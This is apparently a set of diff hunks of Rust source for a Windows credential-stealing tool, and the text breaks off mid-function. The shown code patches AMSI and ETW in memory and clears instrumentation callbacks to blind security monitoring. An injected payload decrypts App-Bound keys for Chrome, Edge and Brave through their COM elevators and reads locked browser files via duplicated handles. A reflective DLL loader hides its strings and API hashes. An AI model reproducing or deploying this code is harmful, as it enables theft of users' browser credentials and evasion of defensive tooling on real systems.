0x89, 0x01, // mov [rcx],eax CLEAN(0)
0xC3,
],
1 => &[
0x33, 0xC0, // xor eax,eax
0x49, 0x8B, 0x54, 0x24, 0x30, // mov r10,[rsp+0x30]
0x41, 0x89, 0x02, // mov [r10],eax
0xC3,
],
2 => &[
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax,0
0x48, 0x8B, 0x54, 0x24, 0x30, // mov rdx,[rsp+0x30]
0x89, 0x02, // mov [rdx],eax
0xC3,
],
3 => &[
0x31, 0xC0, // xor eax,eax
0x4C, 0x8B, 0x44, 0x24, 0x30, // mov r8,[rsp+0x30]
0x89, 0x00, // mov [r8],eax
0xC3,
],
_ => &[
0x31, 0xC0, // xor eax,eax
0x48, 0x8B, 0x94, 0x24, 0x30, 0x00, 0x00, 0x00, // mov rdx,[rsp+0x30] (SIB/disp enc)
0x89, 0x02, // mov [rdx],eax
0xC3,
],
}
}
/// AmsiOpenSession → E_AMSI_NOT_INITIALIZED. Sessions fail to open, so even
/// hosts that route scans through session-based APIs report nothing.
fn amsi_open_session_stub() -> &'static [u8] {
// All variants return a FAILING HRESULT (high bit set) so script hosts
// treat the session-open as failed. Never return a positive status — that
// is interpreted as SUCCESS and the patch silently no-ops.
match variant(3) {
0 => &[0xB8, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov eax, 0x80020011 (E_AMSI_NOT_INITIALIZED) ; ret
1 => &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3], // mov eax, 0x80070057 (E_INVALIDARG) ; ret
_ => &[0x48, 0xC7, 0xC0, 0x11, 0x00, 0x02, 0x80, 0xC3], // mov rax, 0x80020011 ; ret (distinct enc)
}
}
/// Patch amsi.dll!AmsiScanBuffer so every scan reports AMSI_RESULT_CLEAN.
pub fn patch_amsi() -> bool {
unsafe { patch_amsi_saved() }
}
unsafe fn patch_amsi_saved() -> bool {
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
if amsi == 0 {
return false; // amsi.dll not loaded in this host — nothing to do
}
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_SCAN_BUFFER));
if target == 0 {
return false;
}
patch_memory(target, amsi_scan_stub(), true)
}
/// Patch amsi.dll!AmsiOpenSession to fail (defense-in-depth).
pub fn patch_amsi_opensession() -> bool {
unsafe { patch_amsi_opensession_saved() }
}
unsafe fn patch_amsi_opensession_saved() -> bool {
let amsi = apires::module_base_by_name_hash(unmask(HASH_MODULE_AMSI));
if amsi == 0 {
return false;
}
let target = apires::export_by_hash_public(amsi, unmask(HASH_AMSI_OPEN_SESSION));
if target == 0 {
return false;
}
patch_memory(target, amsi_open_session_stub(), true)
}
// ---------------------------------------------------------------------------
// 3. Instrumentation-callback bypass
// ---------------------------------------------------------------------------
const PROCESS_INSTRUMENTATION_CALLBACK: u32 = 40;
/// Query the current instrumentation callback (if any monitor installed one).
unsafe fn query_instrumentation_callback() -> usize {
let mut cb: usize = 0;
let st = syscall::sys_nt_query_information_process(
abi_current_process(),
PROCESS_INSTRUMENTATION_CALLBACK,
(&mut cb) as *mut usize as *mut c_void,
core::mem::size_of::<usize>() as u32,
ptr::null_mut(),
);
if st != 0 {
return 0;
}
cb
}
/// Clear any externally-registered instrumentation callback.
pub fn clear_instrumentation_callback() -> bool {
unsafe {
let existing = query_instrumentation_callback();
if existing == 0 {
return true;
}
let zero: usize = 0;
let st = syscall::sys_nt_set_information_process(
abi_current_process(),
PROCESS_INSTRUMENTATION_CALLBACK,
(&zero) as *const usize as *mut c_void,
core::mem::size_of::<usize>() as u32,
);
st == 0
}
}
// ---------------------------------------------------------------------------
// Orchestration
// ---------------------------------------------------------------------------
/// Apply the full patch set. Returns bitmask:
/// bit0=ETW bit1=AMSI bit2=InstrCb bit3=deepETW bit4=EventEnabled bit5=OpenSession
pub fn apply_all() -> u32 {
let seed = flow::run_time_nonce();
let mut done: u32 = 0;
// ETW + AMSI primary, opaque order.
if flow::opaque_true(seed ^ gen::CFF_KEY) {
flow::junk_complex(seed);
if patch_etw() { done |= 1; }
if patch_amsi() { done |= 2; }
} else {
flow::junk();
if patch_amsi() { done |= 2; }
if patch_etw() { done |= 1; }
}
// Secondary layers.
if patch_etw_eventenabled() { done |= 16; }
if patch_amsi_opensession() { done |= 32; }
if clear_instrumentation_callback() { done |= 4; }
// Deep ETW only once the primary landed.
if done & 1 != 0 && patch_etw_deep() {
done |= 8;
}
done
}
@@ -0,0 +1,628 @@
//! Injected-payload logic, ported from key_extractor.cpp.
//!
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
//! environment variable and spawns a worker thread that services a length-
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
//! the browser's COM elevator) and `READ:path` (read a file, transparently
//! duplicating the owning process's open handle on a sharing violation).
use core::ffi::c_void;
use core::ptr;
use crate::abi::{self, GUID};
use crate::gen;
use crate::obf;
const MAX_MSG: u32 = 16384;
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
const ENV_BUF: u32 = 512;
const PATH_BUF: usize = 32768;
/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec.
fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec<u8> {
let raw = obf::dec_sig(key, slot, len);
raw[..len.min(obf::MAX_LEN)].to_vec()
}
// ---------------------------------------------------------------------------
// Protocol / identity strings — kept out of `.rodata` as plaintext.
// ---------------------------------------------------------------------------
fn proto_key() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) }
fn proto_read() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) }
fn proto_exit() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) }
fn env_pipe_name() -> Vec<u8> { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) }
// ---- OVERLAPPED (x64 layout) ----
#[repr(C)]
#[derive(Clone, Copy)]
struct Overlapped {
internal: usize,
internal_high: usize,
offset: u32,
offset_high: u32,
h_event: usize,
}
impl Overlapped {
fn zeroed() -> Self {
Overlapped {
internal: 0,
internal_high: 0,
offset: 0,
offset_high: 0,
h_event: 0,
}
}
}
// ---- base64 decode (standard, padded) ----
fn b64_val(c: u8) -> i32 {
match c {
b'A'..=b'Z' => (c - b'A') as i32,
b'a'..=b'z' => (c - b'a' + 26) as i32,
b'0'..=b'9' => (c - b'0' + 52) as i32,
b'+' => 62,
b'/' => 63,
_ => -1,
}
}
fn base64_decode(s: &[u8]) -> Vec<u8> {
let mut out = Vec::new();
let mut acc: u32 = 0;
let mut bits: u32 = 0;
for &c in s {
if c == b'=' {
break;
}
let v = b64_val(c);
if v < 0 {
continue;
}
acc = (acc << 6) | v as u32;
bits += 6;
if bits >= 8 {
bits -= 8;
out.push((acc >> bits) as u8);
}
}
out
}
// ---- wide / utf helpers ----
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
let s = String::from_utf8_lossy(bytes);
let mut v: Vec<u16> = s.encode_utf16().collect();
v.push(0);
v
}
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
if a.len() != b.len() {
return false;
}
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
}
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
if needle.is_empty() {
return true;
}
if haystack.len() < needle.len() {
return false;
}
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
}
// ---- pipe helpers ----
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut rd = 0u32;
let ok = abi::ReadFile(
h,
buf.add(off as usize) as *mut c_void,
len - off,
&mut rd,
ptr::null_mut(),
);
if ok == 0 || rd == 0 {
return false;
}
off += rd;
}
true
}
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
let mut off = 0u32;
while off < len {
let mut wr = 0u32;
let ok = abi::WriteFile(
h,
buf.add(off as usize) as *const c_void,
len - off,
&mut wr,
ptr::null_mut(),
);
if ok == 0 || wr == 0 {
return false;
}
off += wr;
}
true
}
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
let total = 1u32 + data.len() as u32;
let len_bytes = total.to_le_bytes();
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
return false;
}
if !pipe_write_all(h, &status as *const u8, 1) {
return false;
}
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
return false;
}
abi::FlushFileBuffers(h);
true
}
// ---- COM elevator (IElevator / IEdgeElevator) ----
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
#[repr(C)]
struct IEdgeElevatorVtbl {
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
release: unsafe extern "system" fn(*mut c_void) -> u32,
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
run_recovery_crx_elevated: unsafe extern "system" fn(
*mut c_void,
*const u16,
*const u16,
*const u16,
*const u16,
u32,
*mut usize,
) -> i32,
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
}
const CLSID_CHROME: GUID = GUID {
data1: 0x708860E0,
data2: 0xF641,
data3: 0x4611,
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
};
const IID_CHROME: GUID = GUID {
data1: 0x463ABECF,
data2: 0x410D,
data3: 0x407F,
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
};
const IID_CHROME2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const CLSID_EDGE: GUID = GUID {
data1: 0x1FCBE96C,
data2: 0x1697,
data3: 0x43AF,
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
};
const IID_EDGE: GUID = GUID {
data1: 0xC9C2B807,
data2: 0x7731,
data3: 0x4F34,
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
};
const IID_EDGE2: GUID = GUID {
data1: 0x8F7B6792,
data2: 0x784D,
data3: 0x4047,
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
};
const CLSID_BRAVE: GUID = GUID {
data1: 0x576B31AF,
data2: 0x6369,
data3: 0x4B6B,
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
};
const IID_BRAVE: GUID = GUID {
data1: 0xF396861E,
data2: 0x0C8E,
data3: 0x4C71,
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
};
const IID_BRAVE2: GUID = GUID {
data1: 0x1BF5208B,
data2: 0x295F,
data3: 0x4992,
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
};
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
abi::CoSetProxyBlanket(
ptr,
abi::RPC_C_AUTHN_DEFAULT,
abi::RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
ptr::null_mut(),
abi::EOAC_DYNAMIC_CLOAKING,
);
}
unsafe fn decrypt_chrome(
clsid: GUID,
iid: GUID,
iid2: GUID,
bstr: *mut u16,
out: *mut *mut u16,
err: *mut u32,
) -> i32 {
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
if hr < 0 {
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
}
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
let mut ptr: *mut c_void = ptr::null_mut();
let mut hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE2,
&mut ptr,
);
if hr >= 0 && !ptr.is_null() {
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
if hr >= 0 && !(*out).is_null() {
return hr;
}
}
ptr = ptr::null_mut();
hr = abi::CoCreateInstance(
&CLSID_EDGE,
ptr::null_mut(),
abi::CLSCTX_LOCAL_SERVER,
&IID_EDGE,
&mut ptr,
);
if hr < 0 || ptr.is_null() {
return hr;
}
set_proxy_blanket(ptr);
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
((*vtbl).release)(ptr);
hr
}
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
unsafe {
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
return None;
}
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
if bstr_enc.is_null() {
abi::CoUninitialize();
return None;
}
let mut bstr_plain: *mut u16 = ptr::null_mut();
let mut com_err: u32 = 0;
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
} else if ascii_eq_ignore_case(browser, b"brave") {
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
} else {
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
};
abi::SysFreeString(bstr_enc);
let result = if hr2 >= 0 && !bstr_plain.is_null() {
let len = abi::SysStringByteLen(bstr_plain);
if len > 0 && len <= 64 {
let mut key = vec![0u8; len as usize];
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
Some(key)
} else {
None
}
} else {
None
};
if !bstr_plain.is_null() {
abi::SysFreeString(bstr_plain);
}
abi::CoUninitialize();
result
}
}
// ---- READ handler ----
/// Brute-force the owning process's open file handle by walking handle values
/// and matching the DOS path (ported from `find_open_handle`).
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
let mut sep_count = 0;
let mut suffix_start = 0usize;
let mut i = target_path.len();
while i > 0 && sep_count < 2 {
i -= 1;
if target_path[i] == b'\\' as u16 {
sep_count += 1;
if sep_count == 2 {
suffix_start = i;
}
}
}
let suffix = &target_path[suffix_start..];
let mut h = 4usize;
while h < 0x10000 {
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
let mut name = [0u16; PATH_BUF];
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
if len > 0 && (len as usize) < PATH_BUF {
let slice = &name[..len as usize];
if wide_contains(slice, suffix) {
let mut dup = 0usize;
if abi::DuplicateHandle(
abi::GetCurrentProcess(),
h,
abi::GetCurrentProcess(),
&mut dup,
0,
0,
abi::DUPLICATE_SAME_ACCESS,
) != 0
{
return dup;
}
}
}
}
h += 4;
}
abi::INVALID_HANDLE_VALUE
}
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
let wide = utf8_to_wide(utf8path);
let mut hfile = abi::CreateFileW(
wide.as_ptr(),
abi::GENERIC_READ,
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
ptr::null_mut(),
abi::OPEN_EXISTING,
abi::FILE_ATTRIBUTE_NORMAL,
0,
);
let mut via_dup = false;
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
hfile = find_open_handle(&wide[..wide.len() - 1]);
via_dup = true;
}
if hfile == abi::INVALID_HANDLE_VALUE {
send_response(h, 1, b"open failed");
return;
}
let size = abi::GetFileSize(hfile, ptr::null_mut());
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
abi::CloseHandle(hfile);
send_response(h, 1, b"bad size");
return;
}
let mut data = vec![0u8; size as usize];
let mut rd = 0u32;
let ok = if via_dup {
let mut ov = Overlapped::zeroed();
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
&& rd == size
} else {
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
&& rd == size
};
abi::CloseHandle(hfile);
if ok {
send_response(h, 0, &data);
} else if via_dup {
send_response(h, 1, b"dup read fail");
} else {
send_response(h, 1, b"read fail");
}
}
// ---- KEY handler ----
unsafe fn handle_key(h: usize, args: &[u8]) {
let Some(pos) = args.iter().position(|&c| c == b':') else {
send_response(h, 1, b"bad format");
return;
};
let (browser, b64) = args.split_at(pos);
let enc = base64_decode(&b64[1..]);
if enc.len() < 5 {
send_response(h, 1, b"small key");
return;
}
match decrypt_via_elevator(&enc, browser) {
Some(key) => {
send_response(h, 0, &key);
}
None => {
send_response(h, 1, b"decrypt failed");
}
}
}
// ---- worker thread ----
unsafe fn worker(pipe: &[u16]) -> u32 {
let h = abi::CreateFileW(
pipe.as_ptr(),
abi::GENERIC_READ | abi::GENERIC_WRITE,
0,
ptr::null_mut(),
abi::OPEN_EXISTING,
0,
0,
);
if h == abi::INVALID_HANDLE_VALUE {
return 1;
}
loop {
let mut msg_len: u32 = 0;
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|| msg_len == 0
|| msg_len > MAX_MSG
{
break;
}
let mut msg = vec![0u8; msg_len as usize];
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
break;
}
let pkey = proto_key();
let pread = proto_read();
let pexit = proto_exit();
if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() {
handle_key(h, &msg[pkey.len()..]);
} else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() {
handle_read(h, &msg[pread.len()..]);
} else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() {
break;
} else {
send_response(h, 1, b"unknown");
}
}
abi::CloseHandle(h);
0
}
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
let mut name_w: Vec<u16> = name.encode_utf16().collect();
name_w.push(0);
let mut buf = vec![0u16; ENV_BUF as usize];
unsafe {
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
if len == 0 || len >= ENV_BUF {
return None;
}
buf.truncate(len as usize);
Some(buf)
}
}
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
/// through lpParameter by the injector).
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
if p.is_null() {
return None;
}
let mut v = Vec::new();
let mut i = 0usize;
unsafe {
loop {
let c = *p.add(i);
if c == 0 {
break;
}
v.push(c);
i += 1;
if i > 4096 {
return None;
}
}
}
if v.is_empty() {
None
} else {
Some(v)
}
}
pub fn on_attach(lp_param: *const u16) {
// Prefer the pipe name passed in memory by the injector (works for running
// browsers); fall back to the inherited env var for spawned headless ones.
let env_name = env_pipe_name();
let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned();
let pipe = read_wide_from_ptr(lp_param)
.or_else(|| read_env_wide(&env_name_str));
if let Some(pipe) = pipe {
let mut p = pipe;
p.push(0);
let _ = std::thread::Builder::new()
.spawn(move || unsafe {
worker(&p);
});
}
}
@@ -0,0 +1,478 @@
//! Position-independent reflective loader, pure Rust (no C).
//!
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
//! The injection stubs copy this DLL's raw bytes into a remote process and
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
//! begins, the copied image is *not* relocated and its imports are *not*
//! resolved, so this function must be position independent end to end:
//!
//! - It never reads relocatable data. All image structures are reached by
//! computing addresses at runtime and reading with volatile scalar loads.
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
//! module list and export tables by hand. Module names are matched by a
//! rotate hash of *immediate* constants — never through `.rodata` string
//! literals, because a RIP-relative load into the file-offset-mapped raw
//! copy would read the wrong bytes until the image has been relocated.
//! - It copies the image into a fresh RWX allocation, fixes up imports,
//! applies relocations, registers `.pdata` for exception unwinding and
//! finally invokes the DLL's entry point.
//!
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
//! unwinder).
use core::arch::asm;
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const DLL_PROCESS_ATTACH: u32 = 1;
// rotate-right-by-1 hashes of the names the loader resolves.
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
// constant-folding) so the raw loader hashes never appear in the binary.
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY;
const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY;
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY;
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY;
const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY;
const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY;
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
type VirtualAllocFn = unsafe extern "system" fn(
addr: usize,
size: usize,
allocation_type: u32,
protect: u32,
) -> usize;
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
type RtlAddFunctionTableFn = unsafe extern "system" fn(
function_table: usize,
entry_count: u32,
base_address: u64,
) -> i32;
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
// ---- Volatile scalar memory access (never lowered to libcalls) ----
#[inline(always)]
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
core::ptr::read_volatile((p + off) as *const u8)
}
#[inline(always)]
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
core::ptr::read_volatile((p + off) as *const u16)
}
#[inline(always)]
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
core::ptr::read_volatile((p + off) as *const u32)
}
#[inline(always)]
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
core::ptr::read_volatile((p + off) as *const u64)
}
#[inline(always)]
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
core::ptr::write_volatile((p + off) as *mut u8, v);
}
#[inline(always)]
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
core::ptr::write_volatile((p + off) as *mut u64, v);
}
// Unaligned-safe read so the base scan can step byte-by-byte.
#[inline(always)]
unsafe fn rd_u16_bytes(p: usize) -> u16 {
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
}
#[inline(always)]
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
for i in 0..len {
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
}
}
// ---- Immediate materializers: build byte strings without .rodata ----
#[inline(always)]
unsafe fn fill_u64(dst: usize, lit: u64) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
}
#[inline(always)]
unsafe fn fill_u32(dst: usize, lit: u32) {
wr_u8(dst, 0, (lit & 0xFF) as u8);
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
}
// ---- Position-independent runtime resolution ----
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
/// valid before the image is relocated.
#[inline(never)]
fn rip_here() -> usize {
let ip: usize;
unsafe {
asm!(
"lea {}, [rip]",
out(reg) ip,
options(nomem, nostack, preserves_flags),
);
}
ip
}
/// x64 Process Environment Block via `gs:[0x60]`.
#[inline(never)]
unsafe fn peb_pointer() -> usize {
let peb: usize;
unsafe {
asm!(
"mov {}, qword ptr gs:[0x60]",
out(reg) peb,
options(nostack, preserves_flags),
);
}
peb
}
/// Scan backwards from `start` for the MZ/PE header of the running image.
unsafe fn find_image_base(start: usize) -> usize {
let mut p = start;
loop {
if p == 0 {
return 0;
}
if rd_u16_bytes(p) == 0x5A4D {
let lfanew = rd_u32(p, 0x3C) as usize;
if (0x40..1024).contains(&lfanew) {
let nt = p + lfanew;
if rd_u32(nt, 0) == 0x0000_4550 {
return p;
}
}
}
p = p.wrapping_sub(1);
}
}
/// Rotate `v` right by one bit.
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = rd_u16(ptr, i * 2);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
i += 1;
}
h
}
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = rd_u8(ptr, i) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Walk the loaded-module list for the module whose base-name rotates to
/// `want`; returns its base address or 0.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = rd_u64(peb, 0x18) as usize;
if ldr == 0 {
return 0;
}
let head = rd_u64(ldr, 0x20) as usize;
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = rd_u16(entry, 0x58) as usize;
if name_len > 0 {
let name_ptr = rd_u64(entry, 0x60) as usize;
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return rd_u64(entry, 0x30) as usize;
}
}
let next = rd_u64(entry, 0x10) as usize;
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = rd_u32(ed, 24) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
let addr_of_names = rd_u32(ed, 32) as usize;
let addr_of_ord = rd_u32(ed, 36) as usize;
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
if fn_rva == 0 {
return 0;
}
return base + fn_rva;
